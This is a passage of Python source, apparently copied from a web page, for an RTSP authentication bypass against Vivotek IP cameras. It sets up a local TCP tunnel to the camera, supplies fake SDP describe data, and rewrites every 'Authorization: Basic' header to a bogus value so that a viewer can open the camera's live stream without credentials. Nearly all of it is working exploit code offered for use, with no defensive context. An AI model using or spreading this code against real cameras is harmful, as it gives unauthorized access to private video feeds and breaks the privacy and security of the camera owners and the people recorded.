def __init__(self, source, sink, process_data_callback=lambda x: x):
Thread.__init__(self)
self.source = source
self.sink = sink
self.process_data_callback = process_data_callback
PipeThread.pipes.append(self)
def run(self):
while 1:
try:
data = self.source.recv(1024)
data = self.process_data_callback(data)
if not data: break
self.sink.send(data)
except Exception as e:
log(e)
break
PipeThread.pipes.remove(self)
class TCPTunnel(Thread):
def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x):
Thread.__init__(self)
log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1]))
self.dst_addr = dst_addr
self.process_data_callback = process_data_callback
# Create TCP listener socket
self.sock = socket(AF_INET, SOCK_STREAM)
self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
self.sock.bind(('', src_port))
log('[*] Check live stream in <a href="https://www.linuxidc.com/rtsp:/localhost:%d/live.sdp">rtsp://localhost:%d/live.sdp</a>' % src_port)
self.sock.listen(5)
def run(self):
while 1:
# Wait until a new connection arises
newsock, address = self.sock.accept()
# Create forwarder socket
fwd = socket(AF_INET, SOCK_STREAM)
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
fwd.connect(self.dst_addr)
# Pipe them!
PipeThread(newsock, fwd, self.process_data_callback).start()
PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera():
def __init__(self, address):
self.address = address
def get_describe_data(self):
return ''
class Vivotek(Camera):
def __init__(self, address):
Camera.__init__(self, address)
def get_describe_data(self):
return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP server\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'
class RTSPAuthByPasser():
DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'
UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'
SERVER_PORT_ARGUMENTS = 'server_port='
DEFAULT_CSEQ = 1
DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera):
self.last_describe_req = ''
self.camera = camera
self.local_port = local_port
def start(self):
log('[!] Starting bypasser')
TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
auth_string = "Authorization: Basic"
if auth_string in data:
data = data.split("\r\n")
new_data = []
for line in data:
new_data.append(line if auth_string not in line else auth_string + " a")
data = "\r\n".join(new_data)
return data